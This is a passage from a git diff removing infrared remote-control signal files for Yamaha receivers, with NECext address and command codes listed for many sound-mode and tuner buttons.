parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: DSP_FREIBURG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: DSP:_FRIEBURG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: DSP:_FREIBURG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: JAZZ_CLUB_BOTTOMLINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: DSP_CLASS_FREIBURG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: DSP:_CHURCH_FREIBU -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: PGM_FREIBURG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: DSP:_CHURCH_FREIBU -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: CHURCH_ROYAUMONT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E9 00 00 00 -# -name: ROCK_CONCERT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E9 00 00 00 -# -name: ROCK_CONCERT_ROXY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E9 00 00 00 -# -name: DSP_ROYAUMONT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E9 00 00 00 -# -name: DSP:_CHURCH_ROYAU -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E9 00 00 00 -# -name: PGM_ROYAUMONT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E9 00 00 00 -# -name: DSP:_ROYAUMONT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E9 00 00 00 -# -name: JAZZ_CLUB_VIL._GATE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EA 00 00 00 -# -name: ROCK_CONCERT_ARENA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EA 00 00 00 -# -name: DSP_VILLAGE_GATE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EA 00 00 00 -# -name: DSP:_VILLAGE_GATE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EA 00 00 00 -# -name: PGM_VILLAGE_GATE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EA 00 00 00 -# -name: JAZZ_CLUB_VIL._VANG. -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EB 00 00 00 -# -name: STADIUM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EB 00 00 00 -# -name: DSP_VILLAGE_VANGUA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EB 00 00 00 -# -name: DSP:_VILLAGEVANGUARD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EB 00 00 00 -# -name: DSP:_VILL._VANGUARD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EB 00 00 00 -# -name: STADIUM_ANIHEIM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EB 00 00 00 -# -name: DSP_L/C_VIL_VANGUARD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EB 00 00 00 -# -name: PGM_VILLAGE_VANGUARD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EB 00 00 00 -# -name: DSP:_VILLA_VANGAURD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EB 00 00 00 -# -name: DSP:_VILLA_VANGAURD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EB 00 00 00 -# -name: PRGRM_BOTTOM_LINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: JAZZ_CLUB_BOTTOMLINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP_JAZZ_CLUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP:_JAZZ_CLUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP:_BOTTOM_LINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP_BOTTOM_LINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP:_THE_BOTTOM_LINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: STADIUM_BOWL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP_THE_BOTTOM_LINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP_L/C_BOTTOM_LINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP_BOTTOM_LINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP_THE_BOTTOM_LI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: PGM_THE_BOTTOM_LINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP:_BOTTOM_LINE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: PRGRM_ROXY_THEATRE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: ROCK_CONCERT_ROXY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DISCO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DSP_ROCK_CONCERT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DSP:_ROCK_CONCERT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DSP:_ROXY_THEATER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DSP_ROXY_THEATER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: ENTERTAINMENT_DISCO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DSP_THE_ROXY_THEATRE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DSP_L/C_ROXY_THEATER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DSP:_THE_ROXY_THEATR -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DSP_ROXY_THEATER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DSP_THE_ROXY_TH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: PGM_THE_ROXY_THEATER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DSP:_ROXY_THEATRE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: DSP:_ROXY_THEATRE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: ED 00 00 00 -# -name: ROCK_CONCERT_LOFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: DSP_WAREHOUSE_LO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: DSP:_WAREHOUSE_LOFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: DSP:_WAREHS._LOFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: ENTERTAINMENT_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: DSP_L/C_WHSE_LOFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: DSP:_WAREHSE_LOFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: PGM_WAREHOUSE_LOFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: DSP:_LOFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: DSP:_WAREHOUSE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: DSP:_WAREHOUSE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EE 00 00 00 -# -name: ROCK_CONCERT_ARENA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EF 00 00 00 -# -name: 6_CH._STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EF 00 00 00 -# -name: 8_CH._STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EF 00 00 00 -# -name: DSP_ARENA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EF 00 00 00 -# -name: 5_CH._STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EF 00 00 00 -# -name: DSP:_ARENA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EF 00 00 00 -# -name: PGM_ARENA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EF 00 00 00 -# -name: PRGRM_DISCO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F0 00 00 00 -# -name: ENTERTAINMENT_DISCO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F0 00 00 00 -# -name: DSP_DISCO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F0 00 00 00 -# -name: DSP:_DISCO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F0 00 00 00 -# -name: CONCERT_POP/ROCK -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F0 00 00 00 -# -name: DSP_DISCO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F0 00 00 00 -# -name: PGM_DISCO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F0 00 00 00 -# -name: ENTERTAINMENT_PARTY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F1 00 00 00 -# -name: TV_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F1 00 00 00 -# -name: CONCERT_CLASS/OPERA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F1 00 00 00 -# -name: PGM_PARTY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F1 00 00 00 -# -name: DSP:_PARTY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F1 00 00 00 -# -name: PRGRM_ACTION_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: ENTERTAINMENT_AMUSE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: MONO_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: DSP_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: DSP:_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: DSP_ACTION_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: DSP:_ACTION_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: TV_MONO_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: DSP_ENT_ACTN_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: DSP:_GAME_(ACTION) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: DSP_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: PGM_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: DSP:_ACTION_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F2 00 00 00 -# -name: PRGRM_MUSIC_VID -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: CONCERT_VID_POP/ROCK -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: DSP_MUSIC_VIDEO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: DSP:_MUSIC_VIDEO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: DSP:_POP/ROCK -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: DSP:_MUSIC/VIDEO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: TV_VARIETY_/_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: DSP_POP/ROCK -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: DSP_ENT_MUSIC_VID -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: DSP_POP/ROCK -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: PGM_POP/ROCK -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: DSP:_MUSIC_VIDEO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: CONCERT_VID_DJ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F4 00 00 00 -# -name: SPECTACLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F4 00 00 00 -# -name: MOVIE_70MM_SPECTACLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F4 00 00 00 -# -name: PGM_DJ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F4 00 00 00 -# -name: DSP:_DJ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F4 00 00 00 -# -name: CONCERT_VID_CLASS/OP -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F5 00 00 00 -# -name: SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F5 00 00 00 -# -name: DSP_RECITALL/OPERA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F5 00 00 00 -# -name: DSP:_CLASSICAL/OPERA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F5 00 00 00 -# -name: DSP:_RECITAL/OPERA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F5 00 00 00 -# -name: MOVIE_SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F5 00 00 00 -# -name: DSP_CLASSICAL/OPERA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F5 00 00 00 -# -name: DSP_ENT_R/OPERA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F5 00 00 00 -# -name: PGM_CLASSICAL_OPERA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F5 00 00 00 -# -name: DSP:_RECITAL/OPERA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F5 00 00 00 -# -name: CONCERT_VID_PAVILION -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F6 00 00 00 -# -name: ADVENTURE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F6 00 00 00 -# -name: MOVIE_70MM_ADVENTURE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F6 00 00 00 -# -name: DSP:_PAVILLION -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F6 00 00 00 -# -name: PGM_PAVILION -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F6 00 00 00 -# -name: PRGRM_MONO_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F7 00 00 00 -# -name: TV_THEATER_MONO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F7 00 00 00 -# -name: GENERAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F7 00 00 00 -# -name: DSP_MONO_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F7 00 00 00 -# -name: DSP:_MONO_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F7 00 00 00 -# -name: MOVIE_70MM_GENERAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F7 00 00 00 -# -name: DSP_MOV_MONO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F7 00 00 00 -# -name: DSP_MONO_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F7 00 00 00 -# -name: PGM_MONO_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F7 00 00 00 -# -name: DSP:_MONO_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F7 00 00 00 -# -name: PRGRM_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: TV_THEATER_VAR/SPORT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: DSP_VARIETY_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: DSP:_VARIETY/SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: DSP:_TV/SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: DSP_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: DSP:_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: PRO_LOGIC_NORMAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: DSP_ENT_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: DSP_TV_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: PGM_VARIETY_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: DSP:_STANDARD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: DSP:_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: PRGRM_SPECTACLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: MOVIE_SPECTACLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: MOVIE_ENHANCED -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: DSP_SPECTACLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: DSP:_SPECTACLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: PRO_LOGIC_ENHACED -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: DSP_MOV_SPECTACL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: DSP:_SPACIOUS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: DSP_SPECTACLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: PGM_SPECTACLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: DSP:_SPECTACLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: PRGRM_SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FA 00 00 00 -# -name: MOVIE_SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FA 00 00 00 -# -name: DSP_SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FA 00 00 00 -# -name: DSP:_SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FA 00 00 00 -# -name: DSP_MOV_SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FA 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FA 00 00 00 -# -name: DSP_SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FA 00 00 00 -# -name: PGM_SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FA 00 00 00 -# -name: DSP:_SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FA 00 00 00 -# -name: PRGRM_ADVENTURE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FB 00 00 00 -# -name: MOVIE_ADVENTURE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FB 00 00 00 -# -name: DSP_ADVENTURE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FB 00 00 00 -# -name: DSP:_ADVENTURE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FB 00 00 00 -# -name: DSP_MOV_ADVENTUR -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FB 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FB 00 00 00 -# -name: DSP_ADVENTURE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FB 00 00 00 -# -name: PGM_ADVENTURE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FB 00 00 00 -# -name: DSP:_ADVENTURE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FB 00 00 00 -# -name: PRGRM_DRAMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: MOVIE_GERNERAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: DSP_GENERAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: DSP:_GENERAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: DSP_DRAMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: DSP:_DRAMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: DSP_MOV_DRAMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: DSP:_DRAMATIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: DSP_GENERAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: PGM_GENERAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: DSP:_DRAMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FC 00 00 00 -# -name: PRGRM_STANDARD_ALT. -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: DOLBY/DTS_NORMAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: DSP_NORMAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: DSP:_NORMAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: DSP:_STANDARD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: DSP:_SUR._DECODE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: DSP_STANDARD_TOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: DSP_SUR._DECODE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: DECOD:_SURR._DEC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: PGM_NORMAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: SUR_DECODE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: PRGRM_STANDARD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: DOLBY/DTS_ENHANCED -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: DSP_ENHANCED -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: DSP:_ENHANCED -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: DSP_STANDARD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: DSP:_STANDARD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: DSP_MOV_STANDARD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: DSP:_MOVIE_STANDARD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: DSP_ENHANCED -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: DSP_MOVIE_STANDAR -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: PGM_ENHANCED -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FE 00 00 00 -# -name: PRGRM_XCH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP_6CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_8CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_7CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_X-CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP_7CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP_8CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP_STEREO_XCH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_X_CH_STERO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_6CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_X-CHANNEL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_6/7CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP_X-CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP_XCH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_11CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: PGM_8CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_9CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_XCH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_XCH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir deleted file mode 100644 index b9503288e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir +++ /dev/null @@ -1,6080 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SRCH_MODE_PRESET -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 00 00 00 00 -# -name: HDRADIO:_PRES_MOD -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 00 00 00 00 -# -name: SRCH_MODE_TUNING -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 01 00 00 00 -# -name: HDRADIO:_MAN_MOD -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 01 00 00 00 -# -name: OPERATION_11 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 02 00 00 00 -# -name: SRCE:_MZ_PRESET_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 02 00 00 00 -# -name: SRCE:_Z2_PRESET_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 03 00 00 00 -# -name: Z2_OPERATION_11 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 03 00 00 00 -# -name: Z2_OPERATION_11 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 03 00 00 00 -# -name: SRCE:_Z3_PRESET_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 04 00 00 00 -# -name: Z3_SOURCE:_OP_11 -type: parsed -protocol: NECext -address: 